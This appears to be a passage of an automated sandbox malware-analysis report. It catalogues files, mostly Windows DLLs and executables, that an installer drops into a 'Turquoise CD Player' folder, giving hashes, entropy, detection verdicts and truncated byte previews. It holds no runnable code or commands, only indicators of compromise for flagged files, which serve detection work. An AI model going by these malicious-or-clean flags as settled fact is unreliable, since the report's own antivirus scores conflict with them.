SSDEEP:	6144:k6bBPHJr5r5C9Fg8Imnw5bR3Kklo7rbQox:kz
MD5:	60BAB1D197D91828ED25099968F7D8C5
SHA1:	FC8E1B3C2C98727D2D81A8E85420FA80EE655F19
SHA-256:	F682B5AA0AF3CEE93F890EC6717F94C1AC9B75EBFF512955C6531E7CEE05D196
SHA-512:	5B9CBB11E3FCB00FD76F595520DA4610FA37B0F1227D016D77350909846BA33AF9A32B650BB1CE9A73549DB5BF190C2205E28223D1745191B2424F6DC7327B38
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.........e..6..6..6..`6..6...7..6...7..6...7..6...7..62..7..6J..7..62..7..6l..7..6..6...6l..7..6l..7..6l..6..6.d6..6l..7..6Rich..6........................PE..d...3N2c.........." ................................................................U....`..........................................&...0..(W..,.... ..................h!..............T...........................`...8............................................text...+........................... ..`.rdata..v'.......(..................@..@.data...x%....... ..................@....pdata..............................@..@.rsrc........ ......................@..@.reloc..............................@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Turquoise CD Player\avdevice-58.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	135016
Entropy (8bit):	5.674566205873397
Encrypted:	false
SSDEEP:	1536:GZU6fX6Kj693r/67BhRpsGmQhRJRVW8/mpI4Sx8K5aqEkmgcs8MYQJaqEkmgcs8o:GZU6qz3ERpNzhRvVoVDe1r0+
MD5:	61CF5C843D8A31162B59C074AE74A76E
SHA1:	123E0EACE3DD60FEF94DC96215468D22434C50FB
SHA-256:	F51BB73407C96E4A2E3016A96A870FA4B422A8B1851477048D122CCC2D523687
SHA-512:	AA1C3175D9A0E11341B8A2F1C5372E99E1164169C8FC71727A0FE6655878782E921FA046D6A83CA2E2C67DAE0609704442EBCFDBE985281F02DDB7E288DC718D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................2.&......<......>..................qY/....qY1....qY.....8<............8......8=.....8?....Rich............................PE..d...F..].........." ......................................................... ......S.....`.............................................d...............................h!......\...`...8...............................p............................................text............................... ..`.rdata..t...........................@..@.data...a...........................@....pdata..............................@..@.idata..8(.........................@..@.reloc..............................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Turquoise CD Player\is-2FJL8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	590632
Entropy (8bit):	6.463330275333709
Encrypted:	false
SSDEEP:	12288:Mt8MRN4gE4x4iTqwTQa6IUqXF7XyxpypsdUDqNSfbQEKZm+jWodEEV3Ho/:MCMm9pyp35bQEKZm+jWodEExg
MD5:	E74CAF5D94AA08D046A44ED6ED84A3C5
SHA1:	ED9F696FA0902A7C16B257DA9B22FB605B72B12E
SHA-256:	3DEDEF76C87DB736C005D06A8E0D084204B836AF361A6BD2EE4651D9C45675E8
SHA-512:	D3128587BC8D62E4D53F8B5F95EB687BC117A6D5678C08DC6B59B72EA9178A7FD6AE8FAA9094D21977C406739D6C38A440134C1C1F6F9A44809E80D162723254
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......n..............w.(...#...<........../.....".................+.....g.+.....+...Rich*...................PE..d...R8.^.........." .....>..........p"....................................................`A........................................ m..h....G..,...............(;......(A......4.......T...............................0............P......Ti..@....................text....=.......>.................. ..`.rdata.......P.......B..............@..@.data....:...`..."...P..............@....pdata..(;.......<...r..............@..@.didat..h...........................@....rsrc...............................@..@.reloc..4...........................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Turquoise CD Player\is-3LABF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	397672
Entropy (8bit):	6.4894894939696846
Encrypted:	false
SSDEEP:	12288:W8c9NNNNNNBgjcQFg7jaV95D3+wxech2KJ:tc9NNNNNN+jcQg7jMnD/xech2o
MD5:	B9F3C911728B17FE49BB217D799FCC1A
SHA1:	26F4A963E2F43F46323D8610FEC5E8CC8C4A8A16
SHA-256:	9CEB41F04B48CF7B419C95D03E227F593836D74A04625C0AD5AD2877D7229B65
SHA-512:	0A50270432E6E476D5B4DAF7D9D45053F821BEF02F1872EF598A9E66B2E6B75AE4A89AB97AE175C5143CE3C993D7A354F6389EB5A8BDDBFDE59522103535C403
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........v.{.%.{.%.{.%.=%.{.%.?%.{.%..%.{.%..%.{.%...%.{.%`.+%.{.%.{.%.{.%..<%.{.%.);%.{.%.{w%.{.%..>%.{.%Rich.{.%........................PE..d......].........." .....8..........................................................g,....`.........................................@...87..x...<.... ...........%......h!...........................................k..p............P...............................text...;6.......8.................. ..`.rdata.......P.......<..............@..@.data...............................@....pdata...%.......&..................@..@_RDATA..P/.......0..................@..@.rsrc........ ......................@..@.reloc..............................@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Turquoise CD Player\is-46IH9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	707354
Entropy (8bit):	6.470927487159611
Encrypted:	false
SSDEEP:	12288:D0QfKb7nH5lrPo37AzHTA63I0ihE4UEQrrNtIECORGv65ELAfXExy8s:nfKbT5lrPo37AzHTA63/cfU9IEU653fz
MD5:	F612FA84EEE47A292945FBB628986AB7
SHA1:	007F558AFE9BA619E3F57E6388385C28BCC81424
SHA-256:	40AE950AA309906160DA060388D771DC40A809617034E9B0BCAF7C7ED8103419
SHA-512:	AF7D47AAEBCE6A8494BB4C2833448834E3DA734B95A8AD43BE5903938F259D3C83E50F030A717571E85BF06BA660EC950418DB9BF230CCBA9CC9E0E73D688F0B
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................&...........1.......@....@..............................................@...............................%...`...>..........................................................................................................CODE.....$.......&.................. ..`DATA....<....@.....................@...BSS..........`.......<...................idata...%.......&...<..............@....tls.................b...................rdata...............b..............@..P.reloc..............................@..P.rsrc....>...`...>...d..............@..P.....................*..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Turquoise CD Player\is-5LVFF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	660128
Entropy (8bit):	6.339798513733826
Encrypted:	false
SSDEEP:	12288:N2fus43uu43Ry4GHlT4xH2K+M+/i+WSpY+7YOzCaK9A3gS2EKZm+GWodEEwnyh:muJzCaK9AB2EKZm+GWodEEwnyh
MD5:	46060C35F697281BC5E7337AEE3722B1
SHA1:	D0164C041707F297A73ABB9EA854111953E99CF1
SHA-256:	2ABF0AAB5A3C5AE9424B64E9D19D9D6D4AEBC67814D7E92E4927B9798FEF2848
SHA-512:	2CF2ED4D45C79A6E6CEBFA3D332710A97F5CF0251DC194EEC8C54EA0CB85762FD19822610021CCD6A6904E80AFAE1590A83AF1FA45152F28CA56D862A3473F0A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........;..h..h..h..[h..h..h..h..Mh..hIAWh..h..Oh..h..qh..h..ph..h..uh..h..Lh..h..Kh..h..Nh..hRich..h................PE..d.....OR.........." .....@...................................................`......a.....`.........................................pU.. ....2..<....@...........G.......>...P.......X..................................p............P...............................text....>.......@.................. ..`.rdata.......P.......D..............@..@.data........P...8...B..............@....pdata...G.......H...z..............@..@.rsrc........@......................@..@.reloc.......P......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Turquoise CD Player\is-99KJO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	20840
Entropy (8bit):	6.3244920295043645
Encrypted:	false
SSDEEP:	384:rk3cFbdBtZHvagGFsGfZyGmGovy8ZpHEi+:rk0vHy9oyiRM
MD5:	D2BC90D6AF120A0643AD5DC5F3CE8D43
SHA1:	419C3246B08125754CCBB4323DD823F8DA0548CB
SHA-256:	BDED78571A2E60B3324AB9B4D3DDB6DE12FC08CB4BBE6A582A2C2292AA17CCE6
SHA-512:	F34C90E44F473A8CD62B75B6D531FDD47AD132A3F1BCE7AD5C0DDF30C61A2454BA214AA2B6CD50C2A1B6CD3AC85F2D9989775376A400D34EBBD2EFAB0FBECC7A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......ovA{+./(+./(+./("o.(/./(yb.))./(yb)%./(yb+)#./(yb,)(./(?\|.)../(+..(../(.b)./(.b/)./(.b.(./(.b-)./(Rich+./(........................PE..d....z{c.........." ......... .......................................................7....`..........................................8..t...T;..x....p.......`.......0..h!......<....1...............................2..8............0..(............................text............................... ..`.rdata.......0......................@..@.data........P.......(..............@....pdata.......`.......*..............@..@.rsrc........p.......,..............@..@.reloc..<...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Turquoise CD Player\is-9ULQD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	31528
Entropy (8bit):	6.472533190412445
Encrypted:	false
SSDEEP:	384:R77JqjlI8icUYWhN5tWcS5gWZoMUekWi9pBj0HRN7RA5aWixHRN7osDhzlGs6N+E:R5D8icUlX5YYMLAWRAlypmPB
MD5:	7EE2B93A97485E6222C393BFA653926B
SHA1:	F4779CBFF235D21C386DA7276021F136CA233320
SHA-256:	BD57D8EEF0BC3A757C5CE5F486A547C79E12482AC8E694C47A6AB794AA745F1F
SHA-512:	4A4A3F56674B54683C88BD696AB5D02750E9A61F3089274FAA25E16A858805958E8BE1C391A257E73D889B1EEA30C173D0296509221D68A492A488D725C2B101
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........U..\4~.\4~.\4~...^4~.UL..X4~.Dz.[4~.D}.^4~.\4..v4~.D..Y4~.D{.O4~.D~.]4~.D..]4~.D\|.]4~.Rich\4~.........PE..d...W8.^.........." .........$............................................................`A.........................................>..L....?..x....p.......`..4....:..(A......p...@3..T............................3..0............0..0............................text...(........................... ..`.rdata.......0......................@..@.data........P.......,..............@....pdata..4....`.......0..............@..@.rsrc........p.......4..............@..@.reloc..p............8..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Turquoise CD Player\is-BEO98.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	363880
Entropy (8bit):	6.3947346615222305
Encrypted:	false
SSDEEP:	6144:lieS4N0DdxBa72yNQuqped6c7Bv5ebr+U2pyQqsa3a8g+QTW:UeSyCVaiyNQAd6cV5K+Jp37W
MD5:	460B0576549FFD1F55D717BA6E265A05
SHA1:	65AB7E2109658102678C122D7DE603E64DCE7CC5
SHA-256:	AAB56C21B6CEC7065882A750BECB4526B4CB5815A4AC002C2594F84FB0F5955F
SHA-512:	666B16FF72CB847B8D141B0110BBB45AAE67D9BB01E2D6B48C7BDA61C5DC3126CCBC72627C1B93EC23B87E9427C39DC890F1E0A72E5077DC0071E5FEA1B1E3A3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................7!.....;.....9...............>.;...Vh-.......>.......>.:....=...>.8...Rich....................PE..d.....%Y.........." .........d.......................................................L....`.........................................@........................P...7...l..h!......8.......................................p............ ...............................text...K........................... ..`.rdata....... ......................@..@.data...@....@.......(..............@....pdata...7...P...8...*..............@..@.rsrc................b..............@..@.reloc..8............h..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Turquoise CD Player\is-CKPLA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	320120
Entropy (8bit):	6.398399631689542
Encrypted:	false
SSDEEP:	6144:bSU6+JAfisltPzYzrIybvaEezwMckNI+STEDv4nk3ad04ZqhKTrg+COv:brAltbYzsOvaWJ
MD5:	DB19F6E0A1BB5DB1C8D87C3FE0891136
SHA1:	3B2DAB478A8268000EF5E4474D52CB71F9EB615E
SHA-256:	7623B596CFD989413FEA2FE355607B029EF8E64067275CBF81863688128738B0
SHA-512:	B328DC6D1ADE3061894BC5C50F437B732190DE3CEA6D2CDC147A9A8193EE73221937FBA24209B66226D5E4B05DFFF5A79DB8B134373D1218605BCBA6EE82A6B3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~@hB:!..:!..:!..3Y..2!...L..8!..aI..8!...L..,!...L..2!...L..9!...O..=!..:!..."...O../!...O..;!...O..;!..:!..;!...O..;!..Rich:!..........................PE..d....lP_.........." .....\...v......$_...................................................`..........................................5...........................,......x.......\|...P...T.......................(....................p..p............................text....[.......\.................. ..`.rdata..."...p...$...`..............@..@.data...8...........................@....pdata...,..........................@..@.rsrc...............................@..@.reloc..\|...........................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Turquoise CD Player\is-E4QTE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	963232
Entropy (8bit):	6.634408584960502
Encrypted:	false
SSDEEP:	24576:FkZ+EUPoH5KTcAxt/qvRQdxQxO61kCS9mmWymzVPD:FkMAlM8ixQI5C6wl
MD5:	9C861C079DD81762B6C54E37597B7712
SHA1:	62CB65A1D79E2C5ADA0C7BFC04C18693567C90D0
SHA-256:	AD32240BB1DE55C3F5FCAC8789F583A17057F9D14914C538C2A7A5AD346B341C
SHA-512:	3AA770D6FBA8590FDCF5D263CB2B3D2FAE859E29D31AD482FBFBD700BCD602A013AC2568475999EF9FB06AE666D203D97F42181EC7344CBA023A8534FB13ACB7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Ck.."..".."..D...".."..-"...s..$ ...s.."...s.."...s.. "...s.."...s.."...s.."..Rich."..........................PE..d.....OR.........." .....h...:.......)..............................................].....`.................................................@...(............@...s...t...>......8...p................................2..p............................................text....g.......h.................. ..`.rdata...8.......:...l..............@..@.data...hu.......D..................@....pdata...s...@...t..................@..@.rsrc................^..............@..@.reloc..8............b..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Turquoise CD Player\is-F6JQ6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	248680
Entropy (8bit):	4.820760286569876
Encrypted:	false
SSDEEP:	6144:k6bBPHJr5r5C9Fg8Imnw5bR3Kklo7rbQox:kz
MD5:	60BAB1D197D91828ED25099968F7D8C5
SHA1:	FC8E1B3C2C98727D2D81A8E85420FA80EE655F19
SHA-256:	F682B5AA0AF3CEE93F890EC6717F94C1AC9B75EBFF512955C6531E7CEE05D196
SHA-512:	5B9CBB11E3FCB00FD76F595520DA4610FA37B0F1227D016D77350909846BA33AF9A32B650BB1CE9A73549DB5BF190C2205E28223D1745191B2424F6DC7327B38
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.........e..6..6..6..`6..6...7..6...7..6...7..6...7..62..7..6J..7..62..7..6l..7..6..6...6l..7..6l..7..6l..6..6.d6..6l..7..6Rich..6........................PE..d...3N2c.........." ................................................................U....`..........................................&...0..(W..,.... ..................h!..............T...........................`...8............................................text...+........................... ..`.rdata..v'.......(..................@..@.data...x%....... ..................@....pdata..............................@..@.rsrc........ ......................@..@.reloc..............................@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Turquoise CD Player\is-FS8TN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	331384
Entropy (8bit):	6.387255143196498
Encrypted:	false
SSDEEP:	6144:cOjmvCPMfXfCsXL0hq+SNcFxkqSj1ZBtp:fcC05tp
MD5:	C3424F2D3D26632C341EF2F542AEA36B
SHA1:	30640EBFF046085DBA3BD0877DE8A90886BED945
SHA-256:	FB0BD60A7D0178C62CFD14D53B40AD47E8F68DB68B95C625723CADC1CD3A1A3E
SHA-512:	72D9A32433DA38CFB752A67C5F903F3480871FCBD16DC5999FB970313079652CF7AEB481DA6097879B641A0E76271118C6E82406DD14C9C90C7460BA6A71BDC7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........O...........8...................................W............W.....W.....W.T.....<....W.....Rich...........................PE..d...z.P_.........." .........................................................@....../.....`..................................................*....... ...........1......x....0..8....N..T...................XP..(...PO...............................................text............................... ..`.rdata.............................@..@.data...............................@....pdata...1.......2..................@..@.rsrc........ ......................@..@.reloc..8....0......................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Turquoise CD Player\is-HB2OO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2042352
Entropy (8bit):	7.085275197144553
Encrypted:	false
SSDEEP:	24576:OFZD9URlmDrgBrhEci8XhP3YLd44RS6+FNbqUzUxVvqKGTZnIzudBDFPjQAr10Fu:+ZeLrXFcL0YF7pvtHkfH
MD5:	876A839023B8F962A72D295DA7495734
SHA1:	62A7728679BC18784B1FBF1D013F7CECE18CBEC9
SHA-256:	A757D773DA406411FB977761F6E56F016D48D224AEDAF3D875ED4D4A9EDE6158
SHA-512:	E1B23A2F5EC0100FF874CA075BBD0F90E9065A90FEC66861F99DF603D7AAA9DB8E8EC326710FDC11AD41D01BEFE4EA3077136127ACF613614D0D12FF23BEC6C1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....^............................4.............@..........................@.......................................................p...3..............X............................................................................................text............................... ..`.rdata..x%.......0..................@..@.data....S.......0..................@....rsrc....@...p...@...@..............@..@.vcp1208............................a.G.........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Turquoise CD Player\is-HU28M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	data
Category:	dropped
Size (bytes):	2817403
Entropy (8bit):	6.609843336323386
Encrypted:	false
SSDEEP:	49152:bJB6eypEAq+ZRXDHw2mUDlcjGA6PHTzOCdw5V:0nbPXDQ2melci7PHqL
MD5:	613A736AD84FECBFAA530A1B1FBD2796
SHA1:	9EDA64306883C5CF7FC6753C61B76F93D0D8171A
SHA-256:	F8108607E41000C6F602B3CB84F15FD36B319E7E35A4DEC750AA9CCB748DFE98
SHA-512:	82989601D0865358C0FC067F51E5AAF54C6A4EB6113BE1929D6DB8D6E0B8EE697A702333FBA937A71CF210C93CA60CBF844F12E5F9F261842F8FEA138DD2FA2E
Malicious:	false
Reputation:	unknown
Preview:	.Z......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....C.^............................T.............@..........................0+......................................................p...\..............................................................................H............................text............................... ..`.rdata..X........0..................@..@.data...8T.......0..................@....rsrc....`...p...`...@..............@..@_set_1...`......{]..................a.U.........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Turquoise CD Player\is-JCDLD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	51
Entropy (8bit):	3.48286657951254
Encrypted:	false
SSDEEP:	3:cUoytoUD6MBomFUT:cUoQoUD6Qoyy
MD5:	034D89CD2C41EDFCEADA9F96A3C0A56A
SHA1:	92AB4E6FF98CA987D56EA3C1BA36D1C61EF23ACB
SHA-256:	44BBE94D481B106F00223DD406D015AEFD00CFA2DBA9428BEFC2B8F6A3FEB971
SHA-512:	6C3E701D2D0FD24FDB46C0E1B0EF5245F36E4A34A9D2340665A31F6331C2D6F08680399600FB02C3D51694F9BAFFB3E41A367CB4FE945D4836B669DA63EB6358
Malicious:	false
Reputation:	unknown
Preview:	1 1..4 3..3 2..16 9..6 5..468 60..728 90..2592 1936

C:\Users\user\AppData\Local\Turquoise CD Player\is-JE3T2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	469624
Entropy (8bit):	6.027128925039679
Encrypted:	false
SSDEEP:	6144:g814pr+wMrppkALmug7u7ozC/B4OvCH9UYHeAeBC:u9+wAkAS2j/B4BryC
MD5:	820FFF478DC5F2C2D5F03A5DB9187FBC
SHA1:	BD58AA8596345C837E1743617452EC7D73013F3A
SHA-256:	3DC976E86D64881E0F37A54B5A04E903235E94D858889B1261527F0048CFBC03
SHA-512:	1476919C5C133ACA519B9E9BE2684A85C7E669FA43942204ACDD9EC4A40577F966AD17D30A7EBD3A97A871E71178F0058966410A934822B96F0B2D7120AA43CB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m>W.)_9.)_9.)_9. '../_9..28.+_9..2<.?_9..2=.!_9..2:.*_9.r7=.(_9.r78.%_9..18.,_9.)_8.._9..1<.&_9..19.(_9..1.(_9.)_..(_9..1;.(_9.Rich)_9.........PE..d...G.P_.........." .................................................................[....`.........................................0d...:...................p...K......x.......h....B..T...................8D..(...0C...............0...............................text...t........................... ..`.rdata.......0....... ..............@..@.data..............................@....pdata...K...p...L..................@..@.rsrc...............................@..@.reloc..h...........................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Turquoise CD Player\is-JVAO2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	135016
Entropy (8bit):	5.674566205873397
Encrypted:	false
SSDEEP:	1536:GZU6fX6Kj693r/67BhRpsGmQhRJRVW8/mpI4Sx8K5aqEkmgcs8MYQJaqEkmgcs8o:GZU6qz3ERpNzhRvVoVDe1r0+
MD5:	61CF5C843D8A31162B59C074AE74A76E
SHA1:	123E0EACE3DD60FEF94DC96215468D22434C50FB
SHA-256:	F51BB73407C96E4A2E3016A96A870FA4B422A8B1851477048D122CCC2D523687
SHA-512:	AA1C3175D9A0E11341B8A2F1C5372E99E1164169C8FC71727A0FE6655878782E921FA046D6A83CA2E2C67DAE0609704442EBCFDBE985281F02DDB7E288DC718D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................2.&......<......>..................qY/....qY1....qY.....8<............8......8=.....8?....Rich............................PE..d...F..].........." ......................................................... ......S.....`.............................................d...............................h!......\...`...8...............................p............................................text............................... ..`.rdata..t...........................@..@.data...a...........................@....pdata..............................@..@.idata..8(.........................@..@.reloc..............................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Turquoise CD Player\is-KQVQS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	869224
Entropy (8bit):	6.632387605957213
Encrypted:	false
SSDEEP:	24576:DJf34ppw4hjg401r+iTy2mmzuF3SJciti0ZIj8UoJwCR:Dl3ypw4yN/RiF3SJdO8xJv
MD5:	DAA904CE63B0A290111AED5E843B9368
SHA1:	6642AD5C2622D756EB3500E7C0420E9DA7A16BB1
SHA-256:	471BBC3FA0A98869F6791E0D1A55B38F5E360842A7CC219A6FF26030E62DBB1B
SHA-512:	CBFD06523F1855AAF4BE2D33EB3A3A324C8D7AF4871B314AC2C165FD17F8DA6CD2F465E9405412282AAC1ED247B811A4A73D91069A324A5AEC531253AE3A4D0B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......t.9d0.W70.W70.W7...73.W70.V7m.W7.M.71.W7v..7..W7v..7..W7v..7$.W7.s.7e.W70.W7'.W7.s.71.W7=..71.W7.s.71.W7Rich0.W7........PE..d......].........." .....8...........\...............................................$....`.................................................\|...(....`..........x]..."..h!...p.......R..8...............................p............P..H............................text...7+.......,.................. ..`.rodata......@.......0.............. ..`.rdata..FP...P...R...<..............@..@.data... K.......&..................@....pdata..x].......^..................@..@.rsrc........`......................@..@.reloc.......p......................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Turquoise CD Player\is-M0B96.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	1297
Entropy (8bit):	5.115489615345492
Encrypted:	false
SSDEEP:	24:CbUneZXof9+bOOrXqFT09+JYrXqFTzl796432s4EOkUs8QROJ32s3yxsITf+3t1e:Cn3OOrXqJ07rXqJzr6432sv832s3EsI/
MD5:	AAF4009F5963B1B270D8C3E697EBE442
SHA1:	F5A44235094DA0B8B5992C6112CB8C356EF22B93
SHA-256:	3988CDCCB878675B4AB8C11F21EF7F6301451F59E2E2BF3F07E963D36C8E9767
SHA-512:	BC30F4C5F17E4F0CDE2CDD5C36A6EC28271569E18808E736186D42409564E3E6FFA8AD23842912C90F39CE6264A698714A434092778C74CBDE6C330DD3969109
Malicious:	false
Reputation:	unknown
Preview:	Copyright (c) 2013, Cisco Systems.All rights reserved...Redistribution and use in source and binary forms, with or without modification,.are permitted provided that the following conditions are met:..* Redistributions of source code must retain the above copyright notice, this. list of conditions and the following disclaimer...* Redistributions in binary form must reproduce the above copyright notice, this. list of conditions and the following disclaimer in the documentation and/or. other materials provided with the distribution...THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND.ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED.WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE.DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR.ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES.(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERV

C:\Users\user\AppData\Local\Turquoise CD Player\is-U2S42.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	213112
Entropy (8bit):	6.331143352918189
Encrypted:	false
SSDEEP:	3072:V7rtKxzN2HVkkNUq3uUw8SWrBEcsGhLec956+48G+ikgyOzk1kLrTzhvt3GyY:Vr2N253eUw81rBXVevrH+mk12rTlS
